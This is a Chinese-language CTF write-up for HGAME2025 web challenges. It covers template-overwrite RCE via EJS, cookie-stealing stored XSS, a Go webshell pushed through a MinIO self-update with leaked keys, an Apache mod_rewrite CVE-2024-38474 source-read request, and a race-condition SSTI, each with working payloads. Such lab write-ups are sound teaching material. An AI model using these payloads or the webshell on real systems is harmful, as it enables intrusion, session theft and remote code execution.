HGAME2025

Creado2025-02-16Actualizado2025-02-22Visitado

WEB

Level 24 Pacman

拿到题目后发现是前端js小游戏；直接翻看源码：

很明显的base64；然后在套一层栅栏密码

Level 47 BandBomb

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

upload路由

此时发现文件上传处没有任何的限制；可以随便上传任何文件。

rename路由

存在更改文件名的操作，且可以实现覆盖

渲染路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

这里使用ejs来渲染模版，模版默认是保存在/app/views/目录下的，这里使用的模版文件名是mortis.ejs，我们能上传任意文件，那么就能上传一个恶意模版文件，然后覆盖mortis.ejs，来rce。

payload.ejs

1
<% global.process.mainModule.require('child_process').execSync('env > ./public/env.txt').toString() %>

先上传

然后改名字

flag：

Level 69 MysteryMessageBoard

先试试密码爆破出密码为：888888

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main

import (
	"context"
	"fmt"
	"github.com/chromedp/chromedp"
	"github.com/gin-gonic/gin"
	"github.com/gorilla/sessions"
	"log"
	"net/http"
	"sync"
	"time"
)

var (
	store = sessions.NewCookieStore([]byte("fake_key"))
	users = map[string]string{
		"shallot": "fake_password",
		"admin":   "fake_password"}
	comments []string
	flag     = "FLAG{this_is_a_fake_flag}"
	lock     sync.Mutex
)

func loginHandler(c *gin.Context) {
	username := c.PostForm("username")
	password := c.PostForm("password")
	if storedPassword, ok := users[username]; ok && storedPassword == password {
		session, _ := store.Get(c.Request, "session")
		session.Values["username"] = username
		session.Options = &sessions.Options{
			Path:     "/",
			MaxAge:   3600,
			HttpOnly: false,
			Secure:   false,
		}
		session.Save(c.Request, c.Writer)
		c.String(http.StatusOK, "success")
		return
	}
	log.Printf("Login failed for user: %s\n", username)
	c.String(http.StatusUnauthorized, "error")
}
func logoutHandler(c *gin.Context) {
	session, _ := store.Get(c.Request, "session")
	delete(session.Values, "username")
	session.Save(c.Request, c.Writer)
	c.Redirect(http.StatusFound, "/login")
}
func indexHandler(c *gin.Context) {
	session, _ := store.Get(c.Request, "session")
	username, ok := session.Values["username"].(string)
	if !ok {
		log.Println("User not logged in, redirecting to login")
		c.Redirect(http.StatusFound, "/login")
		return
	}
	if c.Request.Method == http.MethodPost {
		comment := c.PostForm("comment")
		log.Printf("New comment submitted: %s\n", comment)
		comments = append(comments, comment)
	}
	htmlContent := fmt.Sprintf(`<html>
		<body>
			<h1>留言板</h1>
			<p>欢迎，%s，试着写点有意思的东西吧，admin才不会来看你！自恋的笨蛋！</p>
			<form method="post">
				<textarea name="comment" required></textarea><br>
				<input type="submit" value="提交评论">
			</form>
			<h3>留言:</h3>
			<ul>`, username)
	for _, comment := range comments {
		htmlContent += "<li>" + comment + "</li>"
	}
	htmlContent += `</ul>
			<p><a href="/logout">退出</a></p>
		</body>
	</html>`
	c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}
func adminHandler(c *gin.Context) {
	htmlContent := `<html><body>
		<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢！</p>
		</body></html>`
	c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
	//无头浏览器模拟登录admin，并以admin身份访问/路由
	go func() {
		lock.Lock()
		defer lock.Unlock()
		ctx, cancel := chromedp.NewContext(context.Background())
		defer cancel()
		ctx, _ = context.WithTimeout(ctx, 20*time.Second)
		if err := chromedp.Run(ctx, myTasks()); err != nil {
			log.Println("Chromedp error:", err)
			return
		}
	}()
}

// 无头浏览器操作
func myTasks() chromedp.Tasks {
	return chromedp.Tasks{
		chromedp.Navigate("/login"),
		chromedp.WaitVisible(`input[name="username"]`),
		chromedp.SendKeys(`input[name="username"]`, "admin"),
		chromedp.SendKeys(`input[name="password"]`, "fake_password"),
		chromedp.Click(`input[type="submit"]`),
		chromedp.Navigate("/"),
		chromedp.Sleep(5 * time.Second),
	}
}

func flagHandler(c *gin.Context) {
	log.Println("Handling flag request")
	session, err := store.Get(c.Request, "session")
	if err != nil {
		c.String(http.StatusInternalServerError, "无法获取会话")
		return
	}
	username, ok := session.Values["username"].(string)
	if !ok || username != "admin" {
		c.String(http.StatusForbidden, "只有admin才可以访问哦")
		return
	}
	log.Println("Admin accessed the flag")
	c.String(http.StatusOK, flag)
}
func main() {
	r := gin.Default()
	r.GET("/login", loginHandler)
	r.POST("/login", loginHandler)
	r.GET("/logout", logoutHandler)
	r.GET("/", indexHandler)
	r.GET("/admin", adminHandler)
	r.GET("/flag", flagHandler)
	log.Println("Server started at :8888")
	log.Fatal(r.Run(":8888"))
}

存在/flag和/admin路由

/flag路由

此时的flag路由需要admin身份才可以访问；又因为存在留言板；我们可以马上想到xss攻击获得admin的cookie进行身份的伪造。

/admin路由

经过测试存在xss

Xss

1
<script>alert('XSS Demo: Security Test')</script>

payload

1
2
3
4
5
6
<script>
  var xhr = new XMLHttpRequest();
  xhr.open("POST", "http://127.0.0.1:8888/", true);
  xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  xhr.send("comment="%2bdocument.cookie);
</script>

发送payload后；访问/admin。

替换为admin的cookie

Level 25 双面人派对

逆向

下载得到一个main文件，查壳后发现存在UPX壳；进行脱壳操作

进行字符串查询后发现存在MinIO系统

1
2
3
4
5
 endpoint: "127.0.0.1:9000"',0Dh,0Ah
.noptrdata:0000000000D614E0 3A 39 30 30 30 22 0D 0A 20 20+db '  access_key: "minio_admin"',0Dh,0Ah
.noptrdata:0000000000D614E0 61 63 63 65 73 73 5F 6B 65 79+db '  secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="',0Dh,0Ah
.noptrdata:0000000000D614E0 3A 20 22 6D 69 6E 69 6F 5F 61+db '  bucket: "prodbucket"',0Dh,0Ah
.noptrdata:0000000000D614E0 64 6D 69 6E 22 0D 0A 20 20 73+db '  key: "update" ',0

配置后进入

代码审计

下载下来后做代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
	"level25/fetch"

	"level25/conf"

	"github.com/gin-gonic/gin"
	"github.com/jpillora/overseer"
)

func main() {
	fetcher := &fetch.MinioFetcher{
		Bucket:    conf.MinioBucket,
		Key:       conf.MinioKey,
		Endpoint:  conf.MinioEndpoint,
		AccessKey: conf.MinioAccessKey,
		SecretKey: conf.MinioSecretKey,
	}
	overseer.Run(overseer.Config{
		Program: program,
		Fetcher: fetcher,
	})

}

func program(state overseer.State) {
	g := gin.Default()
	g.StaticFS("/", gin.Dir(".", true))
	g.Run(":8080")
}

此时发现引用了overseer热加载；那么攻击思路就很清晰了

直接重写一份main.go；其中包含可以rce的代码即可获取权限。再次解释一下，此时的热加载就约等于自更新

webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package main

import (
	"fmt"
	"github.com/gin-gonic/gin"
	"github.com/jpillora/overseer"
	"level25/conf"
	"level25/fetch"
	"os/exec"
)

func main() {
	fetcher := &fetch.MinioFetcher{
		Bucket:    conf.MinioBucket,
		Key:       conf.MinioKey,
		Endpoint:  conf.MinioEndpoint,
		AccessKey: conf.MinioAccessKey,
		SecretKey: conf.MinioSecretKey,
	}
	overseer.Run(overseer.Config{
		Program: program,
		Fetcher: fetcher,
	})
}

func program(state overseer.State) {
	g := gin.Default()

	// 添加一个新路由
	g.GET("/shell", func(c *gin.Context) {
		cmdParam := c.DefaultQuery("cmd", "")
		if cmdParam == "" {
			c.JSON(400, gin.H{"error": "cmd parameter is required"})
			return
		}

		cmd := exec.Command("sh", "-c", cmdParam)
		output, err := cmd.CombinedOutput()
		if err != nil {
			c.JSON(500, gin.H{"error": fmt.Sprintf("Command execution failed: %v", err)})
			return
		}

		c.JSON(200, gin.H{"cmd": cmdParam, "output": string(output)})
	})
	g.StaticFS("/static", gin.Dir(".", true))
	g.Run(":8080")
}

替换原来的main.go文件后进行编译

然后进行上传覆盖原来的update

一般在对于Minio的Rce攻击中的思路都要找一个自更新的点进行利用。

Level 38475 角落

先做信息收集

发现存在robots.txt：

1
2
3
User-agent: *
Disallow: /app.conf
Disallow: /app/*

app.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
	Options Indexes
	AllowOverride None
	Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

此时这一段的配置是Apache的配置文件

1. 目录访问权限配置

1
2
3
4
5
<Directory "/usr/local/apache2/app">
    Options Indexes
    AllowOverride None
    Require all granted
</Directory>
  • <Directory "/usr/local/apache2/app">: 定义了一个目录块，指定了 /usr/local/apache2/app 目录的配置。
  • Options Indexes: 允许在目录中没有默认文件（如 index.html）时，显示目录列表。如果目录中没有默认文件，用户会看到该目录下的文件和子目录列表。
  • AllowOverride None: 禁止在该目录及其子目录中使用 .htaccess 文件覆盖此处的配置。这意味着 .htaccess 文件中的任何指令都不会生效。
  • Require all granted: 允许所有用户访问该目录。这是一个访问控制指令，表示所有请求都被允许。

2. 文件访问控制

1
2
3
4
<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>
  • <Files "/usr/local/apache2/app/app.py">: 定义了一个文件块，指定了 /usr/local/apache2/app/app.py 文件的配置。
  • Order Allow,Deny: 指定了访问控制的顺序。Apache 会先处理 Allow 规则，然后处理 Deny 规则。
  • Deny from all: 拒绝所有用户访问该文件。这意味着无论用户是谁，都无法访问 app.py 文件。

3. URL 重写规则

1
2
3
RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
  • RewriteEngine On: 启用 URL 重写引擎。这是使用 RewriteRule 和 RewriteCond 的前提条件。
  • RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/": 定义了一个重写条件。只有当 HTTP 请求头中的 User-Agent 字段以 L1nk/ 开头时，才会执行后续的 RewriteRule。
  • RewriteRule "^/admin/(.\*)$" "/$1.html?secret=todo": 定义了一个重写规则。如果请求的 URL 路径以 /admin/ 开头，并且满足前面的 RewriteCond 条件，那么 URL 会被重写。(.*) 捕获 /admin/ 后面的所有内容，并将其作为 $1 变量。重写后的 URL 是 /$1.html?secret=todo，即将 /admin/xxx 重写为 /xxx.html?secret=todo。

4. 反向代理配置

1
ProxyPass "/app/" "http://127.0.0.1:5000/"
  • ProxyPass "/app/" "http://127.0.0.1:5000/": 配置了一个反向代理规则。所有以 /app/ 开头的请求都会被转发到 http://127.0.0.1:5000/。这意味着 Apache 会将 /app/ 路径下的请求代理到本地的 5000 端口上的服务（通常是一个后端应用服务器，如 Flask 或 Django）。

rewrite截断漏洞:CVE-2024-38474

参考：https://devco.re/blog/2024/08/09/confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-en/

此时考到了一个Apache的CVE：Apache HTTP Server是美国阿帕奇（Apache）基金会的一款开源网页服务器,Apache HTTP Server 2.4.59 及之前版本中 mod_rewrite模块存在替换编码问题,由于针对%3f的URL编码处理不当,攻击者可配置无法通过URL或仅作为CGI执行的脚本访问的目录,从而导致代码执行或源代码泄露,修复版本中通过默认禁用不安全的重写规则,增加UnsafeAllow3F选项来修复该漏洞。

根据我们的robots.txt中的信息我们可以去读取/app下面的文件

payload

1
2
3
4
5
6
7
8
9
10
GET /admin/usr/local/apache2/app/app.py%3f HTTP/1.1
Host: node1.hgame.vidar.club:32271
User-Agent: L1nk/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=MTczOTc2OTk3OHxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8jm4H4QPOx6u0HotvelgIrhHU-DwdteGVn0SpHWikEvQ=
Upgrade-Insecure-Requests: 1
Priority: u=0, i

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
	filename = pwd + "/tmp/message.txt"
	if os.path.exists(filename):
		f = open(filename, 'r')
		message = f.read()
		f.close()
		return message
	else:
		return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
	status = request.args.get('status')
	if status is None:
		status = ''
	return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
	filename = pwd + "/tmp/message.txt"
	message = request.form['message']

	f = open(filename, 'w')
	f.write(message) 
	f.close()

	return redirect('index?status=Send successfully!!')
	
@app.route('/read', methods=['GET'])
def read_message():
	if "{" not in readmsg():
		show = show_msg.replace("{{message}}", readmsg())
		return render_template_string(show)
	return 'waf!!'
	

if __name__ == '__main__':
	app.run(host = '0.0.0.0', port = 5000)

条件竞争

1
2
3
4
5
6
7
8
@app.route('/read', methods=['GET'])
def read_message():
    # 第一次读取文件（检查阶段）
    if "{" not in readmsg():
        # 第二次读取文件（渲染阶段）
        show = show_msg.replace("{{message}}", readmsg())
        return render_template_string(show)  # 渲染可能被篡改的内容
    return 'waf!!'

/read路由：

  • 调用readmsg()读取文件内容。
  • 检查条件：如果内容不含{，则用show_msg模板替换{{message}}，并通过render_template_string渲染。
  • 关键问题：检查（if "{" not in readmsg()）和实际渲染（show_msg.replace()）时两次读取文件，且两次读取之间文件可能被修改。

SSTI

发送两个并发请求：

  • 请求A：通过/send写入合法消息（不含{，如hello）。
  • 请求B：通过/send写入恶意模板（如{{7*7}}）。

触发/read路由：

  • 第一次读取（检查阶段）：文件内容为合法消息（hello），检查通过。
  • 第二次读取（渲染阶段）：在检查通过后，攻击者立即通过请求B覆盖文件内容为恶意模板，此时readmsg()返回{{7*7}}。

结果：render_template_string渲染恶意模板，执行7*7并返回49，触发SSTI。

所以此时我们只要发送一个含有{}和一个普通的不含有{}还有一个读取包即可构成条件竞争打ssti

flag：